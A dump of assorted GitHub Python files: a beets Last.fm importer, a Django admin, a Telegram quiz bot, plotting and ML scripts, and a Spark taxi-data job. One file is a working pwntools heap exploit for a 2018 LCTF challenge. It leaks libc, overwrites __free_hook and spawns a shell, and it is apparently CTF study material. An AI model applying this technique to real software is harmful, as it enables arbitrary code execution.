last.fm')\n\n found, unknown = process_tracks(lib, page['tracks']['track'])\n found_total += found\n unknown_total += unknown\n break\n else:\n log.error('lastimport: ERROR: unable to read page #{0}'\n .format(page_current+1))\n if retry < retry_limit:\n log.info('lastimport: Retrying page #{0}... ({1}/{2} retry)'\n .format(page_current+1, retry+1, retry_limit))\n else:\n log.error('lastimport: FAIL: unable to fetch page #{0}, tried {1} times'\n .format(page_current, retry+1))\n page_current += 1\n\n log.info('lastimport: ... done!')\n log.info('lastimport: finished processing {0} song pages'.format(page_total))\n log.info('lastimport: {0} unknown play-counts'.format(unknown_total))\n log.info('lastimport: {0} play-counts imported'.format(found_total))\n\ndef fetch_tracks(user, api_key, page, limit):\n return requests.get(api_url % (user, api_key, page, limit)).json()\n\ndef process_tracks(lib, tracks):\n total = len(tracks)\n total_found = 0\n total_fails = 0\n log.info('lastimport: Received {0} tracks in this page, processing...'\n .format(total))\n\n for num in xrange(0, total):\n song = ''\n trackid = tracks[num]['mbid'].strip()\n artist = tracks[num]['artist'].get('name', '').strip()\n title = tracks[num]['name'].strip()\n album = ''\n if 'album' in tracks[num]:\n album = tracks[num]['album'].get('name', '').strip()\n\n# log.debug(u'lastimport: query: {0} - {1} ({2})'\n# .format(artist, title, album))\n\n # First try to query by musicbrainz's trackid\n if (trackid):\n song = lib.items('mb_trackid:'+trackid).get()\n\n # Otherwise try artist/title/album\n if (not song):\n# log.debug(u'lastimport: no match for mb_trackid {0}, trying by '\n# 'artist/title/album'.format(trackid))\n query = dbcore.AndQuery([\n dbcore.query.SubstringQuery('artist', artist),\n dbcore.query.SubstringQuery('title', title),\n dbcore.query.SubstringQuery('album', album)\n ])\n song = lib.items(query).get()\n\n # If not, try just artist/title\n if (not song):\n# log.debug(u'lastimport: no album match, trying by artist/title')\n query = dbcore.AndQuery([\n dbcore.query.SubstringQuery('artist', artist),\n dbcore.query.SubstringQuery('title', title)\n ])\n song = lib.items(query).get()\n\n # Last resort, try just replacing to utf-8 quote\n if (not song):\n title = title.replace('\\'', u'’')\n# log.debug(u'lastimport: no title match, trying utf-8 single quote')\n query = dbcore.AndQuery([\n dbcore.query.SubstringQuery('artist', artist),\n dbcore.query.SubstringQuery('title', title)\n ])\n song = lib.items(query).get()\n\n if (song):\n count = int(song.get('play_count', 0))\n new_count = int(tracks[num]['playcount'])\n log.debug(u'lastimport: match: {0} - {1} ({2}) updating: play_count {3} => {4}'\n .format(song.artist, song.title, song.album, count, new_count))\n song['play_count'] = new_count\n song.store()\n total_found += 1\n else:\n total_fails += 1\n log.info(u'lastimport: - No match: {0} - {1} ({2})'\n .format(artist, title, album))\n\n if total_fails > 0:\n log.info('lastimport: Acquired {0}/{1} play-counts ({2} unknown)'\n .format(total_found, total, total_fails))\n\n return total_found, total_fails\n","repo_name":"rafi/beets-lastimport","sub_path":"lastimport.py","file_name":"lastimport.py","file_ext":"py","file_size_in_byte":6041,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"401852007","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.contrib import admin\nfrom .models import Client, Article, Topic, Comment, Like\n\n\nclass CommentInline(admin.TabularInline):\n model = Comment\n extra = 0\n\n\nclass ArticleAdmin(admin.ModelAdmin):\n fieldsets = [\n ('Article', {'fields': ['client']}),\n (None, {'fields': ['title']}),\n (None, {'fields': ['body']}),\n (None, {'fields': ['image']}),\n (None, {'fields': ['pub_date']}),\n (None, {'fields': ['topics']}),\n ]\n\n inlines = [CommentInline]\n search_fields = ['title']\n list_filter = ['pub_date']\n list_display = ('title', 'client')\n\n\nclass CommentAdmin(admin.ModelAdmin):\n fieldsets = [\n ('COMMENT', {'fields': ['client']}),\n (None, {'fields': ['text']}),\n (None, {'fields': ['article']}),\n (None, {'fields': ['pub_date']}),\n ]\n\n search_fields = ['text']\n list_filter = ['pub_date']\n list_display = ('text', 'client', 'pub_date')\n\n# Register your models here.\nadmin.site.register(Client)\nadmin.site.register(Article, ArticleAdmin)\nadmin.site.register(Topic)\nadmin.site.register(Comment, CommentAdmin)\nadmin.site.register(Like)","repo_name":"pausanchezv/django-blog","sub_path":"DjangoProjects/blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72670272426","text":"from pwn import *\nimport sys\n\nif len(sys.argv) < 2:\n debug = True\nelse:\n debug = False\n\nif debug:\n p = process(\"./2018_LCTF_easy_heap\")\n libc = ELF(\"/lib/x86_64-linux-gnu/libc-2.27.so\")\n elf = ELF(\"./2018_LCTF_easy_heap\")\nelse:\n pass\n\ndef add(size,content):\n p.sendafter(\"> \",\"1\")\n p.sendafter(\"> \",str(size))\n p.sendafter(\"> \",content)\n\ndef free(index):\n p.sendafter(\"> \",\"2\")\n p.sendafter(\"> \",str(index))\n\ndef show(index):\n p.sendafter(\"> \",\"3\")\n p.sendafter(\"> \",str(index))\n\ncode_base = 0x555555554000\ndef debugf():\n gdb.attach(p,\"b *{b1}\".format(b1 = hex(code_base + 0x1029)))\n\n\ncontext.log_level = \"debug\"\ncontext.terminal = [\"tmux\",\"splitw\",\"-h\"]\nfor i in range(10):\n add(0x1,'\\n')\nfor i in range(3,10):\n free(i)\nfree(0) #8\nfree(1) #9\nfree(2)\nfor i in range(10):\n add(0x1,\"\\n\")\nfor i in range(8):\n free(i)\nadd(0x1,\"\\n\")\nfree(8)\nadd(0xf8,\"\\n\")\nfree(0)\nfree(9)\nfor i in range(8):\n add(0x1,\"\\n\")\nshow(1)\nleak_addr = u64(p.recvuntil(\"\\n\",drop = True).ljust(8,\"\\x00\"))\nlibc.address = leak_addr - 96 - 0x10 - libc.symbols[\"__malloc_hook\"]\nlog.success(\"libc_base:\"+hex(libc.address))\n#debugf()\nadd(0x1,\"\\n\")\nfree(0)\nfree(2)\nfree(1)\nfree(9)\nadd(0x9,p64(libc.symbols[\"__free_hook\"]).strip(\"\\x00\") + \"\\n\")\nadd(0x10,\";/bin/bash\\x00\")\ntarget = libc.address + 0x4f322\n#target = libc.symbols[\"system\"]\nadd(0x9,p64(target).strip(\"\\x00\") + \"\\n\")\nfree(1)\np.interactive()\n","repo_name":"davidwu1999/Pwn","sub_path":"pwn_study/problem/off_by_null/2018_LCTF_easy_heap/2018_LCTF_easy_heap.py","file_name":"2018_LCTF_easy_heap.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21090693121","text":"import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfig = plt.figure()\nax = fig.gca(projection='3d')\nax.set_xlim3d(0, 3)\nax.set_ylim3d(0, 3)\nax.set_zlim3d(0, 3)\n\nax.set_xlabel('x')\nax.set_ylabel('y')\nax.set_zlabel('z')\n\n# ax.quiver(x, y ,z, x, y, z) first 3 param are origin definition, following 3 are vector definition\n\n\n# ax.quiver(0, 0, 0, 1, 1, 1, length = 0.5, normalize = True)\n# ax.quiver(0, 0, 0, 1, 2, 0, length=0.5)\n# ax.quiver(0, 1, 0, 1, 2, 0)\n# ax.quiver(0, 2, 0, 1, 2, 0)\n\nax.quiver(0, 0, 0, 1,-1,1)\nax.quiver(0, 0, 0, 0, 1, -1)\nax.quiver(0, 0, 0, -1, 0, 1)\n\nplt.show()","repo_name":"rleaf/Acadamia","sub_path":"machine/vectorspace.py","file_name":"vectorspace.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23647043002","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# Range of tension values\ntension_range = np.linspace(1, 200, 100)\n\n# Calculate wave speeds for each tension value\nwave_speed_values = [wave_speed_equation.subs([(FT, T), (mu, linear_density_value)]) for T in tension_range]\n\n# Create a plot\nplt.figure()\nplt.plot(tension_range, wave_speed_values)\nplt.xlabel('Tension (FT)')\nplt.ylabel('Wave Speed (v)')\nplt.title('Wave Speed vs Tension')\nplt.grid()\nplt.show()\n","repo_name":"sksalahuddin2828/Pandas_Numpy_Matplotlib_Plotly","sub_path":"2D_Wave_Speed_vs_Tension_Graph.py","file_name":"2D_Wave_Speed_vs_Tension_Graph.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":162,"dataset":"github-code","pt":"37"} +{"seq_id":"70844329707","text":"import cv2\nimport os\n\nwinName = \"Movement Indicator\"\nvideo = \"videos/video1.mov\"\n\n\n\n#video1\nareaOfInterest = [(300,250),(800,630)] \n#video2\n# areaOfInterest = [(100,100),(250,200)] \n#video3\n# areaOfInterest = [(100,150),(250,250)] \n\nx0 = areaOfInterest[0][0]\nx1 = areaOfInterest[1][0]\ny0 = areaOfInterest[0][1]\ny1 = areaOfInterest[1][1]\n#define in meter the aprox width of the area\n#video1\nareaOfInterestWidth = 8\n#video 2\n# areaOfInterestWidth = 4\n#video 3\n# areaOfInterestWidth = 4\n\n#direction of the cars\nLEFT_TO_RIGHT = \"leftToRight\"\nRIGHT_TO_LEFT = \"rightToLeft\"\nTOP_DOWN = \"topDown\"\nBOTTOM_UP = \"bottomUp\"\ndirection = LEFT_TO_RIGHT\n\nimportantPoints = []\ncarList = []\n\n\nthreshold = 50\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\n","repo_name":"lrmneves/speedtracker","sub_path":"variables.py","file_name":"variables.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27195451748","text":"\"\"\"\nCode for preprocessing Facades dataset.\nThe code was adapted from the github repository by Hyeonwoo Kang\non 27/04/2022.\nThe github repository for original code is available on:\nhttps://github.com/znxlwm/pytorch-pix2pix\nThe code is based on the paper:\nIsola, Phillip, et al. \"Image-to-image translation with conditional adversarial networks.\" \narXiv preprint arXiv:1611.07004 (2016).\nPaper:https://arxiv.org/pdf/1611.07004.pdf\n\"\"\"\n\nimport torch\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom torchvision import datasets\nfrom scipy.misc import imresize\n\ndef data_load(path, subfolder, transform):\n dset = datasets.ImageFolder(path, transform)\n ind = dset.class_to_idx[subfolder]\n\n n = 0\n for i in range(dset.__len__()):\n if ind != dset.imgs[n][1]:\n del dset.imgs[n]\n n -= 1\n\n n += 1\n\n return dset \n\ndef imgs_resize(imgs, resize_scale = 286):\n outputs = torch.FloatTensor(imgs.size()[0], imgs.size()[1], resize_scale, resize_scale)\n for i in range(imgs.size()[0]):\n img = imresize(imgs[i].numpy(), [resize_scale, resize_scale])\n outputs[i] = torch.FloatTensor((img.transpose(2, 0, 1).astype(np.float32).reshape(-1, imgs.size()[1], resize_scale, resize_scale) - 127.5) / 127.5)\n\n return outputs\n\ndef random_crop(imgs1, imgs2, crop_size = 256):\n outputs1 = torch.FloatTensor(imgs1.size()[0], imgs1.size()[1], crop_size, crop_size)\n outputs2 = torch.FloatTensor(imgs2.size()[0], imgs2.size()[1], crop_size, crop_size)\n for i in range(imgs1.size()[0]):\n img1 = imgs1[i]\n img2 = imgs2[i]\n rand1 = np.random.randint(0, imgs1.size()[2] - crop_size)\n rand2 = np.random.randint(0, imgs2.size()[2] - crop_size)\n outputs1[i] = img1[:, rand1: crop_size + rand1, rand2: crop_size + rand2]\n outputs2[i] = img2[:, rand1: crop_size + rand1, rand2: crop_size + rand2]\n\n return outputs1, outputs2\n\ndef random_fliplr(imgs1, imgs2):\n outputs1 = torch.FloatTensor(imgs1.size())\n outputs2 = torch.FloatTensor(imgs2.size())\n for i in range(imgs1.size()[0]):\n if torch.rand(1)[0] < 0.5:\n img1 = torch.FloatTensor(\n (np.fliplr(imgs1[i].numpy().transpose(1, 2, 0)).transpose(2, 0, 1).reshape(-1, imgs1.size()[1], imgs1.size()[2], imgs1.size()[3]) + 1) / 2)\n outputs1[i] = (img1 - 0.5) / 0.5\n img2 = torch.FloatTensor(\n (np.fliplr(imgs2[i].numpy().transpose(1, 2, 0)).transpose(2, 0, 1).reshape(-1, imgs2.size()[1], imgs2.size()[2], imgs2.size()[3]) + 1) / 2)\n outputs2[i] = (img2 - 0.5) / 0.5\n else:\n outputs1[i] = imgs1[i]\n outputs2[i] = imgs2[i]\n\n return outputs1, outputs2\n","repo_name":"Rashi406/CS5260_Optimized_Training_for_GANS","sub_path":"Dataload.py","file_name":"Dataload.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"653958646","text":"import pprint\nimport random\nimport sqlite3\nimport time\n\nfrom aiogram import Bot, types\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\nfrom aiogram.utils import executor\nfrom aiogram.dispatcher import Dispatcher\nfrom aiogram.types.message import ContentType\nfrom aiogram.utils.markdown import text, italic, code\nfrom aiogram.types import ParseMode, ReplyKeyboardMarkup, KeyboardButton\n\nfrom config import BOT_TOKEN, ID_ADMINS, DB_NAME\nfrom states import *\nfrom update_db import update_data\nfrom user_settings import UserSettings\nfrom quetion import Quetion\n\nbot = Bot(token=BOT_TOKEN)\ndp = Dispatcher(bot, storage=MemoryStorage())\n\n\ndef taking_name(message):\n if message.from_user.last_name and message.from_user.username:\n name = message.from_user.first_name + \" \" + message.from_user.last_name + \" aka @\" + message.from_user.username\n elif message.chat.username:\n name = message.from_user.first_name + \" aka @\" + message.from_user.username\n else:\n name = message.from_user.first_name\n return name\n\n\ndef log_in_console(message: types.Message):\n print(taking_name(message), \"-->\", message.text)\n\n\n@dp.message_handler(commands=['start'])\nasync def process_start_command(message: types.Message):\n log_in_console(message)\n await bot.send_message(message.chat.id, 'привіт майбутній студенте, натисни /help \\n'\n 'підписуйтесь на канал розробника, тут меми і збори коштів на ЗСУ -> '\n 'https://t.me/supreme_clown_memes')\n\n with sqlite3.connect(DB_NAME) as db:\n cursor = db.cursor()\n query = f\"SELECT id_user from users\"\n cursor.execute(query)\n\n flag = False\n for i in cursor:\n if message.chat.id in i:\n flag = True\n break\n if not flag:\n query = f\"SELECT COUNT(id) FROM subjects\"\n count = cursor.execute(query)\n full_list = [x+1 for x in range(list(count)[0][0])]\n\n query = f\"INSERT INTO users(id_user, name, subjects) VALUES('{message.from_user.id}', \" \\\n f\"'{taking_name(message)}', '{str(full_list)}') \"\n cursor.execute(query)\n\n\n@dp.message_handler(state=TestStates.all(), commands=['help'])\n@dp.message_handler(commands=['help'])\nasync def process_help_command(message: types.Message):\n log_in_console(message)\n msg = \"\"\"доступні команди: \n/start - початок роботи\n/help - виклик цього меню\n/start_testing - безпосередній перехід до тестів\n/get_info - подивитись, які параметри вибрані для вас\n/set_subj - обрати предмети, по яких ви хочете проходити тести\n/cancel - вихід у головне (початкове) меню\n\"\"\"\n await message.reply(msg)\n\n\n@dp.message_handler(commands=\"update_db\")\nasync def process_update_db_command(message: types.Message):\n log_in_console(message)\n\n if message.from_user.id in ID_ADMINS:\n await message.reply(\"ок, зараз\", reply=False)\n await bot.send_chat_action(message.from_user.id, \"upload_document\")\n update_data()\n with sqlite3.connect(DB_NAME) as db:\n cursor = db.cursor()\n query = f\"SELECT COUNT(id) FROM subjects\"\n count = cursor.execute(query)\n full_list = [x + 1 for x in range(list(count)[0][0])]\n\n query = f\"SELECT id_user FROM users\"\n users_set_ids = list(cursor.execute(query))\n\n for user in users_set_ids:\n await bot.send_message(user[0],\n \"база питань оновилась. прогрес був скинутий. обери предмети заново\",\n reply_markup=types.ReplyKeyboardRemove())\n await dp.current_state(user=user).reset_state()\n\n query = f\"UPDATE users SET subjects = '{str(full_list)}' WHERE {user[0]}=id_user\"\n cursor.execute(query)\n\n time.sleep(2)\n await message.reply(\"готово\", reply=False)\n\n else:\n await message.reply(\"ти не адмін -_-\")\n await bot.send_sticker(message.chat.id,\n 'CAACAgIAAxkBAAIGT2KT4hPY68C8Wif9giYpMscRilS7AAJAAAM0Itk1dSH4edIqdZ0kBA')\n\n\n@dp.message_handler(state=TestStates.all(), commands=['cancel'])\n@dp.message_handler(commands=['cancel'])\nasync def process_cancel_command(message: types.Message):\n log_in_console(message)\n remove_keyboard = types.ReplyKeyboardRemove()\n await message.reply(\"ви в основному меню\", reply_markup=remove_keyboard)\n await dp.current_state(user=message.from_user.id).reset_state()\n\n\n@dp.message_handler(state='*', commands=['start_testing'])\nasync def process_start_testing_command(message: types.Message):\n log_in_console(message)\n state = dp.current_state(user=message.from_user.id)\n answer = \"\"\"розпочато тестування. предмети можна змінити в /set_subj\nнапишіть 'наступне запитання'\nколи захочете вийти - напишіть /cancel \n\"\"\"\n kb1 = ReplyKeyboardMarkup(resize_keyboard=True,\n ).add(KeyboardButton('наступне запитання'))\n\n await state.set_state('main_testing1')\n await message.reply(answer, reply_markup=kb1)\n\n\n@dp.message_handler(state=TestStates.MAIN_TESTING1, text=\"наступне запитання\")\nasync def process_main_testing1_command(msg: types.Message):\n log_in_console(msg)\n with sqlite3.connect(DB_NAME) as db:\n cursor = db.cursor()\n query = f\"SELECT subjects FROM users WHERE id_user=={msg.from_user.id}\"\n s = cursor.execute(query)\n\n list_of_subj = UserSettings.list_of_subj_str_to_list(list(s)[0][0])\n\n query = f\"SELECT question, correct_answer, answers, id FROM questions WHERE \"\n for i in list_of_subj:\n query += f\"subject_id == {int(i) - 1} OR \"\n query = query[:-4]\n\n s = list(cursor.execute(query))\n singl_quetion = s[random.randint(0, len(s) - 1)]\n id_q = singl_quetion[-1]\n\n q = Quetion(singl_quetion)\n poll = await bot.send_poll(msg.from_user.id, q.question, q.answers,\n is_anonymous=False,\n correct_option_id=q.correct_answer,\n type=\"quiz\")\n query = f\"INSERT INTO polls_questions(poll_id, question_id) VALUES({poll.poll.id}, {id_q})\"\n cursor.execute(query)\n\n\n@dp.message_handler(state='*', commands=['set_subj'])\nasync def process_set_subject0_command(msg: types.Message):\n log_in_console(msg)\n m = \"обери предмети, що хочеш вибрати, й впиши через пробіл. наприклад '1 3'\\nсписок предметів:\\n\\n\"\n state = dp.current_state(user=msg.from_user.id)\n\n with sqlite3.connect(DB_NAME) as db:\n cursor = db.cursor()\n query = \"\"\"SELECT id, subject FROM subjects \"\"\"\n s = cursor.execute(query)\n for i in s:\n m += str(i[0]) + ') ' + str(i[1]) + \"\\n\"\n\n await bot.send_message(msg.from_user.id, m)\n\n await state.set_state('subject_selection_menu')\n\n\n@dp.message_handler(commands=['get_info'])\nasync def process_get_settings_command(message: types.Message):\n log_in_console(message)\n with sqlite3.connect(DB_NAME) as db:\n cursor = db.cursor()\n query = f\"SELECT subjects FROM users WHERE id_user == {message.from_user.id}\"\n subjs = list(cursor.execute(query))[0][0]\n\n query = f\"SELECT id, subject FROM subjects WHERE id IN ({subjs[1:-1]}) \"\n list_of_subjs = list(cursor.execute(query))\n\n msg_answer = \"subjects: \\n\"\n for id, subj in list_of_subjs:\n msg_answer += str(id) + \") \" + subj + \"\\n\"\n\n query = \"\"\"SELECT count(id) FROM answers WHERE id_user == ?\"\"\"\n total = list(cursor.execute(query, (message.from_user.id,)))[0][0]\n query = \"\"\"SELECT count(id) FROM answers WHERE id_user == ? AND is_right == 1\"\"\"\n right_answer = list(cursor.execute(query, (message.from_user.id,)))[0][0]\n if total:\n stat = round(right_answer / total, 2)\n else:\n stat = 0\n \n msg_answer += \"\\nstat: \" + str(stat*100) + \"% (\" + str(right_answer) + \"/\" + str(\n total) + \")\"\n\n await bot.send_message(message.from_user.id, msg_answer)\n\n\n@dp.message_handler(state=TestStates.SUBJECT_SELECTION_MENU)\nasync def process_set_subject1_command(msg: types.Message):\n log_in_console(msg)\n\n answer = msg.text.split(' ')\n\n with sqlite3.connect(DB_NAME) as db:\n cursor = db.cursor()\n query = f\"SELECT id, subject FROM subjects \"\n s = cursor.execute(query)\n sub_ids_list = []\n for i in s:\n sub_ids_list.append(int(i[0]))\n\n if not all(i.isdigit() for i in answer):\n await bot.send_message(msg.from_user.id, \"якусь діч ти написав(ла), а якщо це образа - сам такий\"\n \". \\nправильний варіант/приклад: '1 2'\")\n return\n\n if not all(int(i) in sub_ids_list for i in answer):\n await bot.send_message(msg.from_user.id, \"ти вписав(ла) номери, що не існують -_-\")\n return\n\n answer = [int(i) for i in answer]\n\n query = f\"UPDATE users SET subjects = '{answer}' WHERE id_user == {msg.from_user.id}\"\n cursor.execute(query)\n\n await msg.reply(\"ok\")\n await dp.current_state(user=msg.from_user.id).reset_state()\n\n\n@dp.poll_answer_handler()\nasync def handle_poll_answer(quiz_answer: types.PollAnswer):\n with sqlite3.connect(DB_NAME) as db:\n cursor = db.cursor()\n query = f\"SELECT questions.id, correct_answer FROM questions, polls_questions WHERE polls_questions.poll_id \" \\\n f\"== {quiz_answer.poll_id} AND polls_questions.question_id == questions.id\"\n correct_answer = list(cursor.execute(query))[0][1]\n\n query = f\"INSERT INTO answers(id_user, is_right, quetion_id)\" \\\n f\"VALUES({quiz_answer.user.id}, {correct_answer == quiz_answer.option_ids[0]}, {list(cursor.execute(query))[0][0]})\" \\\n f\"ON CONFLICT (id_user, quetion_id) \" \\\n f\"DO UPDATE SET is_right = 1 \" \\\n f\"WHERE is_right = 0 AND excluded.is_right = 1\"\n\n cursor.execute(query)\n\n\n@dp.message_handler(state=TestStates.all(), content_types=ContentType.ANY)\n@dp.message_handler(content_types=ContentType.ANY)\nasync def unknown_message(msg: types.Message):\n log_in_console(msg)\n message_text = text('я не знаю що з тим робити(',\n italic('\\nпросто нагадаю, що є '),\n code('команда'), ' /help')\n await msg.reply(message_text, parse_mode=ParseMode.MARKDOWN)\n\n\nif __name__ == '__main__':\n executor.start_polling(dp)\n","repo_name":"rykovlad/athena_zno_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":11321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"26382824109","text":"from MLHelper import MLHelper\n#from LoadScikitLearnDataSets import GetTrainTestSplitIrisData, GetTrainTestSplitCAHousingData, GetTrainTestSplitBostonHousingData, GetTrainTestSplitDiabetesData, GetTrainTestSplitBreastCancerData, GetTrainTestSplitWineData, GetTrainTestSplitCovertypeData, GetHousingData\nfrom LoadScikitLearnDataSets import GetTrainTestSplitIrisData\n\n\ndata_train, data_test, target_train, target_test = GetTrainTestSplitIrisData()\n\nprint(\"\\n\\n\\n\\nK-Nearest Neighbors Classifier\\n\")\nfrom sklearn.neighbors import KNeighborsClassifier\n\n# How does accuracy change with the number of neighbors?\nfor neighbors in range(1,11):\n knn_model = KNeighborsClassifier(n_neighbors=neighbors)\n knn_model.fit(data_train, target_train)\n target_predictions = knn_model.predict(data_test)\n knn_score = round(knn_model.score(data_test,target_test)*100,8)\n print(\"K-Nearest Neighbors accuracy neighbors=\" + str(neighbors) + \" score:\", str(knn_score) + \"%\")","repo_name":"dbowmans46/PracticalProgramming","sub_path":"Session 7 - Python/Instructional Material/Class Examples/Scikit-Learn/KNNClassifierExample.py","file_name":"KNNClassifierExample.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18326376327","text":"import os\nimport sys\nimport azureml.core\nfrom pyspark.sql import SparkSession\nfrom azureml.core import Run, Dataset\nimport os, uuid, time\nimport argparse\nimport mlflow\nfrom pathlib import Path\n\nprint(azureml.core.VERSION)\nprint(os.environ)\n# if running in a notebook, uncomment these 2 lines\n# import sys\n# sys.argv = ['']\n\nfor k, v in os.environ.items():\n if k.startswith(\"MLFLOW\"):\n print(k, v)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--nyc_taxi_dataset\")\nargs = parser.parse_args()\ndataset = args.nyc_taxi_dataset\nprint(f\"dataset location: {dataset}\")\n# os.system(f\"find {dataset}\")\n\nspark = (\n SparkSession.builder.appName(\"AML Dataprep\")\n .config(\"spark.executor.cores\", 1)\n .config(\"spark.executor.instances\", 16)\n .config(\"spark.executor.memory\", \"4g\")\n .getOrCreate()\n)\n\n# # Azure storage access info\n# blob_account_name = \"azureopendatastorage\"\n# blob_container_name = \"nyctlc\"\n# blob_relative_path = \"yellow\"\n# blob_sas_token = r\"\"\n\n# # # Allow SPARK to read from Blob remotely\n# wasbs_path = 'wasbs://%s@%s.blob.core.windows.net/%s' % (blob_container_name, blob_account_name, blob_relative_path)\n# spark.conf.set(\n# 'fs.azure.sas.%s.%s.blob.core.windows.net' % (blob_container_name, blob_account_name),\n# blob_sas_token)\n# print('Remote blob path: ' + wasbs_path)\n\n# SPARK read parquet, note that it won't load any data yet by now\n# df = spark.read.parquet(wasbs_path)\ndf = spark.read.parquet(dataset)\n# df.show()\n\nprint(df.head())\nmlflow.log_text(str(df.head()), \"df.head\")\n\n# create a list of columns & dtypes the df must have\nmust_haves = {\n \"vendorID\": \"string\",\n \"pickupDatetime\": \"datetime\",\n \"dropoffDatetime\": \"datetime\",\n \"passengerCount\": \"int\",\n \"tripDistance\": \"double\",\n \"startLon\": \"double\",\n \"startLat\": \"double\",\n \"rateCode\": \"int\",\n \"paymentType\": \"int\",\n \"endLon\": \"double\",\n \"endLat\": \"double\",\n \"fareAmount\": \"double\",\n \"tipAmount\": \"double\",\n \"totalAmount\": \"double\",\n}\n\nquery_frags = [\n \"fareAmount > 0 and fareAmount < 500\",\n \"passengerCount > 0 and passengerCount < 6\",\n \"startLon > -75 and startLon < -73\",\n \"endLon > -75 and endLon < -73\",\n \"startLat > 40 and startLat < 42\",\n \"endLat > 40 and endLat < 42\",\n]\nquery = \" AND \".join(query_frags)\n\n\ndef clean(df_part, must_haves, query):\n df_part = df_part.filter(query)\n\n # some col-names include pre-pended spaces remove & lowercase column names\n # tmp = {col:col.strip().lower() for col in list(df_part.columns)}\n\n # rename using the supplied mapping\n # df_part = df_part.rename(columns=remap)\n\n # iterate through columns in this df partition\n for col in df_part.columns:\n # drop anything not in our expected list\n if col not in must_haves:\n df_part = df_part.drop(col)\n continue\n\n if df_part.select(col).dtypes[0][1] is \"string\" and col in [\n \"pickup_datetime\",\n \"dropoff_datetime\",\n ]:\n df_part.withColumn(col, df_part[col].cast(\"timestamp\"))\n continue\n\n # if column was read as a string, recast as float\n if df_part.select(col).dtypes[0][1] is \"string\":\n df_part.na.fill(value=-1, subset=[col])\n df_part.withColumn(col, df_part[col].cast(\"double\"))\n else:\n # save some memory by using 32 bit floats\n if \"int\" in str(df_part[col].dtype):\n df_part.withColumn(col, df_part[col].cast(\"int\"))\n if \"double\" in str(df_part[col].dtype):\n df_part.withColumn(col, df_part[col].cast(\"double\"))\n df_part.na.fill(value=-1, subset=[col])\n\n return df_part\n\n\nimport math\nfrom math import pi, cos, sin, sqrt\nimport numpy as np\nfrom pyspark.sql.functions import datediff, to_date, lit\nfrom pyspark.sql import functions as F\nfrom pyspark.sql.functions import *\n\n\ndef haversine_distance(\n pickup_latitude, pickup_longitude, dropoff_latitude, dropoff_longitude\n):\n x_1 = pi / 180 * pickup_latitude\n y_1 = pi / 180 * pickup_longitude\n x_2 = pi / 180 * dropoff_latitude\n y_2 = pi / 180 * dropoff_longitude\n\n dlon = y_2 - y_1\n dlat = x_2 - x_1\n a = sin(dlat / 2) ** 2 + cos(x_1) * cos(x_2) * sin(dlon / 2) ** 2\n\n c = 2 * np.arcsin(sqrt(a))\n r = 6371 # Radius of earth in kilometers\n\n return float(c) * r\n\n\ndef add_features(df):\n df = df.withColumn(\"hour\", hour(df[\"pickupDatetime\"]).cast(\"int\"))\n df = df.withColumn(\"year\", year(df[\"pickupDatetime\"]).cast(\"int\"))\n df = df.withColumn(\"month\", month(df[\"pickupDatetime\"]).cast(\"int\"))\n df = df.withColumn(\"day\", dayofmonth(df[\"pickupDatetime\"]).cast(\"int\"))\n df = df.withColumn(\"day_of_week\", dayofweek(df[\"pickupDatetime\"]).cast(\"int\"))\n\n df = df.withColumn(\n \"diff\", datediff(df[\"dropoffDatetime\"], df[\"pickupDatetime\"]).cast(\"int\")\n )\n\n df = df.withColumn(\n \"startLatr\", (F.floor(df[\"startLat\"] / (0.01)) * 0.01).cast(\"double\")\n )\n df = df.withColumn(\n \"startLonr\", (F.floor(df[\"startLon\"] / (0.01)) * 0.01).cast(\"double\")\n )\n df = df.withColumn(\n \"endLatr\", (F.floor(df[\"endLat\"] / (0.01)) * 0.01).cast(\"double\")\n )\n df = df.withColumn(\n \"endLonr\", (F.floor(df[\"endLon\"] / (0.01)) * 0.01).cast(\"double\")\n )\n\n # df = df.drop('pickup_datetime', axis=1)\n # df = df.drop('dropoff_datetime', axis=1)\n\n import numpy\n\n # df.withColumn(\"h_distance\",haversine_distance(\n # df.select(\"startLat\"),\n # df.select(\"startLon\"),\n # df.select(\"endLat\"),\n # df.select(\"endLon\"),\n # ).cast('double'))\n\n df = df.withColumn(\"is_weekend\", (df[\"day_of_week\"] > 5).cast(\"int\"))\n return df\n\n\ndf = (\n df.withColumnRenamed(\"tpepPickupDateTime\", \"pickupDatetime\")\n .withColumnRenamed(\"tpepDropoffDateTime\", \"dropoffDatetime\")\n .withColumnRenamed(\"rateCodeId\", \"rateCode\")\n)\ntaxi_df = clean(df, must_haves, query)\ntaxi_df = add_features(taxi_df)\n\nstart_time = time.time()\n\noutput_path = \"./outputs/nyctaxi_processed.parquet\"\nprint(\"save parquet to \", output_path)\n\nprint(taxi_df.head())\nmlflow.log_text(str(taxi_df.head()), \"taxi_df.head\")\n\n# for debug, show output folders on all nodes\ndef list_output():\n return os.listdir(output_path)\n\n\nelapsed_time = time.time() - start_time\nmlflow.log_metric(\"time_saving_seconds\", 